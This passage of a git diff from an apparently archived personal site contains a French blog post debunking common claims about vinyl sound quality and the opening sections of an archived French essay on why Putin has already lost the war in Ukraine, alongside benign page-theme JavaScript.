for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,258 @@ | |||
title: Le disque vinyle : débunkage | |||
url: https://blog.cybergrunge.dev/le-disque-vinyle-debunkage | |||
hash_url: 69acddf6a1f953e130ab2b36960568b7 | |||
<p id="description"> | |||
Un autre déterrage de fil Mastodon, cette fois sur les inepties qu’on peut | |||
lire à propos du disque microsillon. À une époque où je parcourais le web à | |||
la recherche de documentation sur l’histoire de l’enregistrement sonore, je | |||
tombais régulièrement sur des affirmations qui me faisaient sauter en l’air | |||
à propos du vinyle. En voici quelques exemples. | |||
</p> | |||
<blockquote>Le vinyle sonne mieux parce qu’il est analogique.</blockquote> | |||
<p>Non.</p> | |||
<p> | |||
L’électricité dans notre cerveau qui déclenche notre émotion musicale est | |||
analogique, comme le mouvement de nos tympans, comme la variation de | |||
pression de l’air, comme le mouvement de la membrane de nos haut-parleurs, | |||
comme l’électricité dans les câbles qui les relient à notre amplificateur | |||
hi-fi, comme le signal qui sort du | |||
<abbr title="Digital to Analog Converter">DAC</abbr> intégré à notre lecteur | |||
<abbr title="Compact Disc">CD</abbr>, notre smartphone ou notre ordinateur. | |||
Nous n’entendrions aucune différence si ce qui se situe avant était un | |||
disque sur une platine vinyle, ou bien l’enregistrement numérique de ce même | |||
disque tournant sur cette même platine, même si cet enregistrement était en | |||
mp3 avec un <span lang="en">bitrate</span> supérieur à 128 <abbr title="kilo bits per second">kbps</abbr>, toutes les expériences en double aveugle avec du matériel actuel l’ont | |||
prouvé. | |||
</p> | |||
<blockquote>Le vinyle sonne plus chaud, plus rond.</blockquote> | |||
<p>Oui.</p> | |||
<p> | |||
Mais c’est dû au fait qu’il n’existe que peu de cellules phono capables | |||
d’extraire les sons aigus aussi bien qu’un lecteur numérique. Et que les | |||
extrêmes aigus sont les premières fréquences à être détruites par les | |||
frottements répétés du diamant sur les parois du sillon. Les personnes qui | |||
aiment ce son particulier aiment le son qui a été dégradé par rapport à | |||
l’enregistrement d’origine. Elles peuvent aussi essayer avec | |||
<a href="https://www.son-video.com/article/vinyle-cellules-et-diamants-cellules-hi-fi/grado/epoch-3">ce type de cellules à 13 900 €</a>, mais <span lang="lat">a priori</span> ça sonnera moins chaud et moins | |||
rond. | |||
</p> | |||
<blockquote>Le vinyle a une meilleure plage dynamique.</blockquote> | |||
<p>Non.</p> | |||
<p> | |||
Bien au contraire. À cause d’un bruit de fond plus élevé (le diamant frotte | |||
sur de la matière, même dans un sillon totalement droit en l’absence de | |||
signal enregistré), la plage dynamique (qui est la différence entre les sons | |||
les plus faibles et les sons les plus forts) du vinyle est d’environ | |||
60 <abbr title="décibels">dB</abbr>. Celle du CD est de 96 dB. Ce sont les | |||
tendances récentes en matière d’enregistrement audio qui ont massacré la | |||
dynamique sur de nombreux enregistrements de l’ère numérique. Et les radios. | |||
<a href="https://www.lesnumeriques.com/audio/bienvenue-dans-guerre-volume-a2127.html">La plage dynamique de NRJ est de… 1 dB</a>. | |||
</p> | |||
<blockquote> | |||
Après la masterisation, qui s’effectuait à l’aide d’une console analogique, | |||
le son « définitif » enregistré sur une autre bande dit « maîtresse » était | |||
plus naturel, chaud et profond, bref idéal pour une gravure sur le support | |||
vinyle, tout en respectant la fameuse norme RIAA. (<a href="https://www.mesdisquesvinyles.com/dossier-ou-acheter-des-disques-vinyles-criteres-prix/">Source</a>) | |||
</blockquote> | |||
<p>😂</p> | |||
<p> | |||
Cette phrase ne veut absolument rien dire. Un master traité par la formule | |||
RIAA est inécoutable en l’état. Cette formule standardisée par la | |||
<span lang="en">Recording Industry Association of America</span> consiste à | |||
déformer l’onde du signal audio lors de l’étape du | |||
<span lang="en">mastering</span> vinyle en diminuant le niveau des basses | |||
fréquences et en augmentant celui des hautes fréquences, afin que les | |||
premières puissent tenir dans le sillon sans déborder dans la spire | |||
d’à-côté, et que les deuxièmes soient suffisamment larges pour être | |||
physiquement présentes dans le substrat en vinyle lors du pressage. | |||
L’application de la formule inverse par le préampli phono lors de la lecture | |||
permet de retrouver l’onde sonore d’origine. | |||
</p> | |||
<figure> | |||
<img src="https://blog.cybergrunge.dev/images/RIAA-EQ-Curve_rec_play.svg.png" alt="Courbes d’enregistrement et de lecture de la formule RIAA." loading="lazy"> | |||
<figcaption> | |||
Courbes d’égalisation RIAA, lors de l’enregistrement et lors de la | |||
lecture. (Image | |||
<a href="https://fr.wikipedia.org/wiki/%C3%89galisation_RIAA#/media/Fichier:RIAA-EQ-Curve_rec_play.svg">Wikipédia</a>) | |||
</figcaption> | |||
</figure> | |||
<blockquote>Le vinyle monte plus haut dans les aigus.</blockquote> | |||
<p>Oui.</p> | |||
<p> | |||
Avec une fréquence d’échantillonage numérique de 44,1 <abbr title="kilohertz">kHz</abbr>, le CD n’autorise des sons que d’une fréquence maximale de 22,05 kHz, là | |||
où le vinyle peut en théorie stocker de l’information sans limites en termes | |||
de fréquence (à part la limite quantique qu’est la longueur de Planck). Mais | |||
au bout d’une dizaine de lectures, le diamant d’une platine aura déjà raboté | |||
les infimes variations de matière correspondant aux fréquences supérieures à | |||
cette valeur sur un disque vinyle. Et de toutes façons, l’oreille humaine ne | |||
peut percevoir de fréquences au-delà de 20 kHz environ. Et encore, au début | |||
de sa vie. Si vous êtes en âge de lire ce blog, vous n’êtes plus dans ce | |||
cas, désolé 😬. | |||
</p> | |||
<blockquote> | |||
Les signaux gauche et droit de la stéréo sont gravés sur les flancs gauche | |||
et droit du sillon. | |||
</blockquote> | |||
<p>Non.</p> | |||
<p> | |||
Mais c’est un autre sujet. Qui fera peut-être l’objet d’un autre billet, qui | |||
sait. | |||
</p> | |||
<blockquote> | |||
Le vinyle est une vraie représentation de l’onde sonore, alors que le | |||
numérique n’en garde que des pointillés. | |||
</blockquote> | |||
<p>Oui.</p> | |||
<p> | |||
En tant que signal continu, la gravure d’un microsillon se veut être | |||
l’inscription exacte (moyennant la courbe RIAA) du son dans la matière | |||
plastique. Le CD, quant à lui, restitue 44 100 échantillons de cette onde | |||
par seconde. Quelle serait la distance entre ces échantillons, si on les | |||
représentait le long d’un sillon de vinyle ? Calculons. | |||
</p> | |||
<p> | |||
Un <abbr title="Long Player">LP</abbr>, ou « 33 tours », tourne 100/3 fois | |||
sur lui-même en une minute. La première spire d’un LP, celle qui présente la | |||
meilleure qualité sonore pressée (mais pas forcément la meilleure qualité | |||
restituée. Pourquoi ? Autre sujet, prochain billet, peut-être 😉), a un | |||
diamètre approximatif de 28 cm. Son périmètre est donc de 2 x π x 14 cm, | |||
soit ≈ 48,87 cm. Si l’on divise maintenant cette valeur par le nombre | |||
d’échantillons par seconde (44 100), on découvre que les échantillons | |||
seraient espacés de 0,001 cm le long du sillon. Cela correspond à 10 <abbr title="micromètres">µm</abbr>. | |||
</p> | |||
<p> | |||
À titre de comparaison, un spermatozoïde mesure, flagelle compris, environ | |||
50 µm. Il faut donc se représenter l’échantillonage de qualité CD comme un | |||
pointillé le long du sillon tous les 1/5 de spermatozoïde. | |||
</p> | |||
<p> | |||
Si l’on considère la taille et le nombre des poussières déposées sur le | |||
vinyle et de celles incrustées lors de son pressage (qui n’est pas effectué | |||
en salle blanche), cela remet les choses en perspectives. | |||
</p> | |||
<p> | |||
Quelques photos prises au microscope électronique avec l’échelle représentée | |||
peuvent aussi nous y aider. | |||
</p> | |||
<figure class="quintuple"> | |||
<img src="https://blog.cybergrunge.dev/images/r2_5.jpg" alt="Microsillon au microscope électronique, grossissement 1000 fois." loading="lazy" id="ogimage"> | |||
<img src="https://blog.cybergrunge.dev/images/record_groove.jpg" alt="Microsillon au microscope électronique, grossissement 500 fois." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/grv3.jpg" alt="Microsillons au microscope électronique, vus d’en haut, grossissement 200 fois." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/record_1.jpg" alt="Microsillons au microscope électronique, vus d’en haut en biais, grossissement 200 fois." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/96d6ba8330cfdb1ab8952a66560bafeec87bdcae3cf031a26565cd5df097800a.jpg" alt="Spermatozoïde au microscope électronique, grossissement 9000 fois." loading="lazy"> | |||
<figcaption> | |||
(Photos | |||
<a href="http://www2.optics.rochester.edu/workgroups/cml/opt307/spr05/chris/">Chris Supranowitz</a> | |||
et <a href="https://images.cnrs.fr/photo/20110001_0554">CNRS</a> ) | |||
</figcaption> | |||
</figure> | |||
<p> | |||
Ajoutons enfin que le signal électrique envoyé à l’amplificateur par le | |||
dispositif de conversion numérique vers analogique (intégré à la platine CD, | |||
à l’ordinateur, au smartphone, ou bien externe à ceux-ci), appelé DAC, n’est | |||
pas le signal « haché » correspondant à une sinusoïde qui serait constituée | |||
de chacun des points d’échantillonnage reliés par un segment de droite. Le | |||
travail du DAC est de recalculer une courbe « douce », continue, à partir | |||
des points d’échantillonnage discrets. Un DAC de qualité correcte fournira | |||
donc une onde tout à fait similaire à celle récupérée à la sortie de | |||
l’amplificateur phono d’une platine vinyle. Le bruit de fond et les | |||
parasites physiques en moins. | |||
</p> | |||
<blockquote>OK, j’ai compris, le vinyle c’est pourri.</blockquote> | |||
<p>Pas du tout. 🙂</p> | |||
<p> | |||
Je n’achète de la musique qu’en format vinyle depuis des années. J’ai la | |||
chance d’écouter des artistes un peu « hipsters » qui se sont lancés il y a | |||
déjà un moment dans ce qui est maintenant devenu une mode, un | |||
<span lang="en">revival</span>. | |||
</p> | |||
<p> | |||
J’écoute ma musique essentiellement en format numérique sans perte (<span lang="en">lossless</span>), que je télécharge souvent « illégalement », et j’achète seulement les | |||
vinyles des artistes que j’écoute le plus pour les soutenir fiancièrement et | |||
pour le côté fétichiste de l’objet. J’aime la qualité parfaite du son | |||
numérique sur un bon système hi-fi, et je ne pourrais pas me permettre de | |||
payer toute la musique que j’écoute. Et même si je le pouvais, je refuse | |||
d’acheter des fichiers numériques à l’unité (à part sur Bandcamp pour | |||
soutenir les artistes qui n’ont pas pu matérialiser leurs œuvres), sans la | |||
petite satisfaction du déballage, sans le petit rituel d’écoute d’un bout à | |||
l’autre de l’album en feuilletant le livret. | |||
</p> | |||
<p> | |||
Je pourrais, dans la même démarche de soutien financier de l’artiste, | |||
acheter des CD comme je l’ai fait pendant des années, mais je trouve l’objet | |||
moche et sans âme, et après avoir importé les fichiers numériques sur | |||
l’ordinateur, ne n’y touche plus jamais. | |||
</p> | |||
<figure> | |||
<img src="https://blog.cybergrunge.dev/images/img_4703.jpg" alt="Vinyle transparent avec inclusions de noir, sur une platine." loading="lazy"> | |||
<figcaption> | |||
Édition limitée de l’album d’Emma Ruth Rundle, Engine of Hell. | |||
</figcaption> | |||
</figure> | |||
<p> | |||
J’aime les grandes pochettes des vinyles, j’aime les éditions spéciales | |||
soignées et leurs disques aux couleurs improbables, j’aime voir le son | |||
imprimé dans la matière, et me rappeler les étapes et les défis techniques | |||
qu’il a fallu traverser pour approcher d’aussi près la perfection avant que | |||
cela ne devienne si facile avec le numérique, j’aime découvrir les | |||
<span lang="en">runout-groove etchings</span> (les quoi ? Autre sujet, | |||
billet, peut-être) et leurs petits messages cachés, j’aime les moments où je | |||
prends le temps de poser le disque pour rendre hommage à l’album entier avec | |||
ses enchaînements tels qu’ils ont été conçus par l’artiste, j’aime savoir | |||
que la courroie, le bras, la cellule, le diamant ne seront jamais dans une | |||
configuration parfaite tellement les paramètres sont variables, j’aime la | |||
surprise trop rare d’entendre un son presque aussi profond que celui de la | |||
version numérique lorsque les techniciens ont mis toute leur expertise en | |||
œuvre pour créer un bon et beau disque qui rend justice au travail de | |||
l’artiste. | |||
</p> | |||
<figure class="double"> | |||
<img src="https://blog.cybergrunge.dev/images/9e2ce4dccfdaf790.jpg" alt="Gravure sur un vinyle, près de l’étiquette : « KIM, KELLEY, JOSEPHINE, JIM »." loading="lazy"> | |||
<img src="https://blog.cybergrunge.dev/images/49a66d9daf82d45a.jpg" alt="À l’opposé, une tête de chat dessinée." loading="lazy"> | |||
<figcaption> | |||
Les <span lang="en">runout-groove etchings</span> sur l’album des | |||
Breeders <cite>All Nerves</cite>. | |||
</figcaption> | |||
</figure> | |||
<p> | |||
J’aime la musique en concert, j’aime la musique enregistrée, et j’aime le | |||
disque vinyle. 😍 | |||
</p> |
@@ -0,0 +1,215 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Pourquoi Poutine a déjà perdu la guerre (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://legrandcontinent.eu/fr/2022/02/27/pourquoi-poutine-a-deja-perdu-la-guerre/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Pourquoi Poutine a déjà perdu la guerre</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://legrandcontinent.eu/fr/2022/02/27/pourquoi-poutine-a-deja-perdu-la-guerre/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p class="has-drop-cap">Le 24 février 2022, au premier jour de l’offensive russe contre l’Ukraine, j’écrivais : « Quelle que soit l’issue de la guerre, Poutine l’a déjà perdue. En plus de pousser vers l’Ouest ce qui restera de l’Ukraine, elle va renforcer voire agrandir l’OTAN, isoler et affaiblir la Russie qui deviendra paria, et menacer son propre pouvoir à Moscou. Le début de la fin. » Il peut paraître présomptueux au premier jour d’une guerre d’en prédire l’issue, et contre-intuitif – ou optimiste – d’envisager que celle-ci ne soit pas favorable au plus puissant des deux belligérants. Il me semblait toutefois que ce dénouement s’imposait comme la conclusion logique du raisonnement suivant, en cinq étapes.</p> | |||
<h2 id="1-le-prix-de-la-victoire-militaire"><strong>1 — Le prix de la victoire militaire</strong></h2> | |||
<p>Si la victoire militaire de Poutine semble inévitable, compte tenu de l’asymétrie des forces en présence, elle aura un coût humain et matériel considérable. En seulement trois jours d’affrontement, l’état-major des armées ukrainien – dont il faut bien entendu prendre les chiffres avec le recul nécessaire – estime que les forces russes ont perdu 4300 hommes (tués ou capturés), 27 avions, 26 hélicoptères, 2 bateaux, 146 tanks et 706 véhicules blindés. Moscou de son côté nie avoir subi ces pertes et ne communiquera sans doute jamais le bilan véritable. Quoi qu’il en soit, grâce à l’extraordinaire combativité des Ukrainiens, alimentés en armes par au moins 28 pays, l’affrontement n’est pas la <em>blitzkrieg</em> espérée : il est plus intense et sera sans doute plus long que les stratèges russes ne l’espéraient. Comme l’a souligné Lawrence Freedman, ils ont commis deux erreurs classiques, la sous-estimation de l’ennemi et la surestimation de leurs propres forces, qui sont en fait la même : l’arrogance.</p> | |||
<p>Cela pose aux forces russes des problèmes de logistique (manque de carburant, de rations et peut-être même de munitions) – dont on savait avant même l’invasion que ce serait le point faible d’une opération de ce type – mais aussi des problèmes d’image puisque la partie ukrainienne documente et diffuse abondamment des photos et des vidéos d’avions abattus, de tanks détruits, de soldats russes tués et capturés, et des crimes de guerre commis (par exemple l’usage de bombes à sous-munitions dans des zones civiles). Ils le font avec le soutien d’une communauté d’« Osinters », c’est-à-dire d’experts du renseignement d’origine sources ouvertes, situés partout dans le monde, et dont l’efficacité dans ce conflit est spectaculaire – comme l’est aussi l’utilisation des réseaux sociaux, en particulier Twitter. Au contraire de leurs adversaires, les forces ukrainiennes communiquent extrêmement bien et le président Zelensky est en quelques jours devenu une figure héroïque, louée dans le monde entier. Quelle que soit l’issue militaire du conflit, Poutine a déjà perdu la bataille de l’image.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Quelle que soit l’issue militaire du conflit, Poutine a déjà perdu la bataille de l’image.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Le manque de résultats concrets sur le terrain, la lenteur de l’avancée des envahisseurs, qui à l’heure où nous écrivons ces lignes ne contrôlent toujours aucune ville majeure, combinée aux difficultés précédentes font grandir un sentiment de frustration au sein des troupes russes. Comme tous n’étaient pas convaincus de la nécessité de cette guerre, plus elle dure et plus le doute s’installera dans les esprits, atteignant peut-être bientôt le moral des troupes. Dans tous les cas, il est certain que Moscou perdra au moins plusieurs milliers d’hommes, ce qui fera de cette guerre son intervention militaire la plus coûteuse des deux dernières décennies. </p> | |||
<p>Dans ces conditions, il y a deux possibilités. La première est que Poutine n’aille pas jusqu’au bout. La résistance locale s’ajoutant à la pression internationale et au risque national (voir points 4 et 5 ci-dessous), elle pourrait le pousser à la négociation avant la défaite de l’armée ukrainienne. Il le présenterait avantageusement mais personne ne serait dupe : ce serait pour lui personnellement et pour les forces armées russes un échec cuisant, et même une humiliation. Il était prêt à payer un prix calculé pour un gain, mais il risque de payer un prix beaucoup plus élevé qu’il ne l’imaginait pour un gain moindre ou inexistant. Poutine sait qu’une défaite en Ukraine signifierait sans doute sa chute à Moscou. S’il se sent dos au mur, le plus probable est donc qu’il choisisse la fuite en avant.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Poutine sait qu’une défaite en Ukraine signifierait sans doute sa chute à Moscou. S’il se sent dos au mur, le plus probable est donc qu’il choisisse la fuite en avant.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>La seconde possibilité, qui malheureusement semble plus vraisemblable, est qu’il s’entête quel qu’en soit le prix. <a href="https://legrandcontinent.eu/fr/2022/02/26/ukraine-etat-des-forces-et-perspectives/">Les combats pourraient encore durer des semaines</a> et, pour en accélérer l’issue et donc diminuer l’impression d’une défaite russe, pour briser le moral de la population ukrainienne, il pourrait être tenté d’avoir recours à des frappes aériennes massives massacrant des dizaines de milliers de civils, comme les Russes ont montré qu’ils savaient le faire en Syrie. C’est d’autant moins exclu que l’hypothèse avait déjà été discutée à la télévision russe en 2016 : alors qu’un intervenant suggérait « qu’il ne serait pas utile d’envoyer des forces terrestres russes dans les grandes villes ukrainiennes car cela entraînerait « d’énormes pertes pour l’armée russe »[, d’autres] n’étaient pas d’accord et ont déclaré que [le <em>carpet bombing</em> d’]Alep montre la voie que Moscou pourrait suivre ». </p> | |||
<h2 id="2-le-bourbier-de-l-occupation"><strong>2 — Le bourbier de l’occupation</strong></h2> | |||
<p>Dans cette seconde hypothèse où, d’une manière ou d’autre, Moscou finirait par remporter une victoire militaire – à un prix qui sera donc exorbitant, non seulement pour le peuple ukrainien mais aussi pour les soldats russes –, ce ne serait que le début des difficultés. Si la guerre américaine en Irak (<em>Operation Iraqi Freedom</em>, 2003) est une indication, voire une inspiration pour Moscou puisque comme l’a montré Elie Tenenbaum le parallèle « est frappant », il faut rappeler que le fameux discours de George W. Bush du 1<sup>er</sup> mai 2003 sur le porte-avion USS Abraham Lincoln affichant fièrement une bannière « Mission accomplished » marquait non pas la fin mais le début des ennuis pour les Américains en Irak (en 2010, Bush reconnaîtra d’ailleurs que cette bannière était « une erreur »). Il y a certes une différence importante, qui est que les Russes sont beaucoup plus proches des Ukrainiens que les Américains ne l’étaient des Irakiens, et donc qu’ils avaient davantage de raisons d’espérer être accueillis en « libérateurs » par au moins une partie d’entre eux – mais l’agression russe au lieu de profiter de la désunion de la société ukrainienne semble au contraire avoir suscité un effet de « ralliement autour du drapeau » contre l’envahisseur, auquel Moscou ne s’attendait visiblement pas. </p> | |||
<p>Dans tous les cas, prendre un pays est une chose – et c’est à la portée d’une grande puissance militaire comme la Russie – mais le tenir, c’est-à-dire l’occuper, en est une autre. C’est une remarque qui vaut aussi pour la Chine vis-à-vis de Taïwan.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Prendre un pays est une chose – et c’est à la portée d’une grande puissance militaire comme la Russie – mais le tenir, c’est-à-dire l’occuper, en est une autre. C’est une remarque qui vaut aussi pour la Chine vis-à-vis de Taïwan.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Si, première option, Poutine annexe <em>de facto</em> l’ensemble du territoire ukrainien, les troupes russes feront face au quotidien à une résistance certes variable mais réelle et probablement durable parce que soutenue par l’étranger, en matériel et en volontaires (qui affluent déjà : le 27 février, Zelensky annonçait la création d’une légion internationale, formation de la garde nationale enrôlant des étrangers). Cette occupation sera donc extrêmement coûteuse, à la fois économiquement et humainement, et pour cette raison elle sera sans doute aussi impopulaire au sein non seulement de la population mais aussi de l’élite russes. </p> | |||
<p>Si, deuxième option qui pour les raisons précédentes est plus probable, Poutine préfère ne garder sous son contrôle qu’une partie du territoire – sans doute le Donbass et le corridor sud permettant de le relier à la Crimée voire peut-être à la Transnistrie – et placer à Kyïv un gouvernement pro-russe, le risque est alors celui d’une guerre civile puisque la résistance sera la même mais dirigée cette fois contre ces autorités illégitimes. Le rapport de force n’étant a priori pas en faveur de ces dernières – puisque le centre et l’ouest de l’Ukraine sont précisément les régions majoritairement pro-occidentales –, les Russes contrôlant le reste du pays seront sans doute contraints d’intervenir régulièrement, maintenant le pouvoir local sous perfusion, ce qui reviendrait de fait à une version dégradée de la première option.</p> | |||
<p>Si, troisième option qui pour les raisons précédentes est plus probable que les deux autres, Poutine divise le pays en deux, par exemple au niveau du Dniepr, créant de fait une Ukraine de l’Est sous son contrôle (soit direct par annexion, soit indirect par la mise en place d’une autorité à sa solde à la manière biélorusse) et une Ukraine de l’Ouest à laquelle il renonce parce ce qu’elle serait de toute façon ingouvernable et parce que cela lui donne une carte à jouer dans une négociation avec l’OTAN, la situation sur le long terme ne lui sera pas plus favorable puisque cette Ukraine de l’Ouest cherchera à rejoindre le plus vite possible l’Union européenne voire l’OTAN, qui pourraient y être plus favorables qu’avant. Autrement dit, même si elle ne concernera pas la même surface territoriale, Poutine aura accéléré l’extension qu’il voulait prévenir. C’est pourquoi j’écrivais qu’il allait « pousser vers l’Ouest ce qui restera de l’Ukraine ».</p> | |||
<h2 id="3-le-renforcement-de-l-otan"><strong>3 — Le renforcement de l’OTAN</strong></h2> | |||
<p>L’agression russe – sa duplicité, son ampleur et sa brutalité – a été pour les Européens surtout, mais aussi les Nord-Américains et une partie du reste du monde, un choc d’une magnitude plus grande encore à celle du 11 septembre 2001, qui nous fait entrer dans une nouvelle ère des relations internationales (une ère de post-post-guerre froide, c’est-à-dire « l’amorce d’une véritable guerre froide » comme l’a dit Bruno Tertrais, avec ce paradoxe qu’elle commence par une guerre « chaude »).</p> | |||
<p>Ce choc a eu et aura plusieurs effets. D’abord, il a immédiatement renforcé la raison d’être d’une alliance qui, depuis la dissolution du Pacte de Varsovie contre lequel elle était dirigée, a traversé plusieurs crises existentielles. La guerre en Ukraine a mis fin aux questionnements métaphysiques que certains pouvaient avoir sur la pertinence ou l’intérêt de l’OTAN aujourd’hui, en démontrant clairement que ce n’est pas parce qu’il n’y a plus d’URSS que les pays de l’Alliance ne font pas face à une menace commune – d’autant plus que cette menace est visiblement motivée par une volonté de reconstruire une forme d’URSS voire d’empire – qui justifie donc une défense commune (et, rétrospectivement, justifie aussi la prescience de ceux qui pensaient qu’il valait mieux maintenir l’OTAN en cas d’irrédentisme russe). La guerre a aussi renforcé la cohésion de l’OTAN qui, pour la toute première fois de son histoire, a activé sa force de réaction rapide, créée au sommet de Prague en 2002.</p> | |||
<p>Ensuite, ce choc qui a été une prise de conscience aiguë – pour ceux qui, par idéologie ou naïveté, faisaient encore mine de l’ignorer – que la Russie est un État hostile aux portes de l’Europe, dirigé par un homme imprévisible et irrationnel, va pousser l’ensemble des pays concernés à augmenter leur effort de défense. Il n’y a pas de meilleure incitation à respecter voire dépasser l’objectif otanien des 2 % du PIB consacrés aux dépenses militaires, à moderniser les équipements et à accroître leur disponibilité opérationnelle, dans une perspective de conflit de haute intensité. Le 27 février, lors d’une séance extraordinaire du Bundestag, le chancelier allemand Olaf Scholz a ainsi annoncé un budget de 100 milliards d’euros pour moderniser l’armée allemande et une augmentation du budget de la défense à plus de 2 % du PIB. C’est historique. Poutine a réussi le tour de force de réveiller l’Allemagne, qui était particulièrement en retard dans ce domaine. Comme l’écrivait Benjamin Haddad, « l’heure du réarmement européen a sonné ».</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>La guerre en Ukraine a mis fin aux questionnements métaphysiques que certains pouvaient avoir sur la pertinence ou l’intérêt de l’OTAN aujourd’hui, en démontrant clairement que ce n’est pas parce qu’il n’y a plus d’URSS que les pays de l’Alliance ne font pas face à une menace commune</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Enfin, ce choc a aussi considérablement renforcé l’attractivité de l’OTAN, puisque l’Ukraine a été la démonstration éclatante que ceux qui n’en font pas partie sont vulnérables. Le président Biden a été très clair sur ce point en prévenant, deux semaines avant l’invasion russe, que les Américains n’enverraient pas de troupes en Ukraine. Si la décision était fondée dans l’absolu – puisqu’il s’agissait d’éviter une escalade pouvant mener à une « guerre mondiale » –, on peut toutefois se demander s’il était bien nécessaire de le dire aussi clairement, puisque cette déclaration a pu être interprétée à Moscou comme un feu vert. L’ambiguïté stratégique aurait pu être préférable. Quoi qu’il en soit, cette guerre est une démonstration par l’absurde de la valeur ajoutée de l’OTAN, c’est-à-dire une démonstration du risque de ne pas en faire partie. Elle aura des conséquences immédiates sur les pays qui, comme la Suède et la Finlande, se posaient la question : l’invasion russe de l’Ukraine va « changer » le débat national sur l’adhésion à l’OTAN, a notamment déclaré la Première ministre finlandaise dès le premier jour de l’offensive.</p> | |||
<p>C’est pourquoi j’écrivais que cette guerre allait « renforcer voire agrandir l’OTAN ». Elle va rendre plus forts, à la fois individuellement et collectivement, ceux-là mêmes que Poutine voulait affaiblir. </p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Cette guerre est une démonstration par l’absurde de la valeur ajoutée de l’OTAN, c’est-à-dire une démonstration du risque de ne pas en faire partie</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<h2 id="4-l-isolement-de-la-russie"><strong>4 — L’isolement de la Russie</strong></h2> | |||
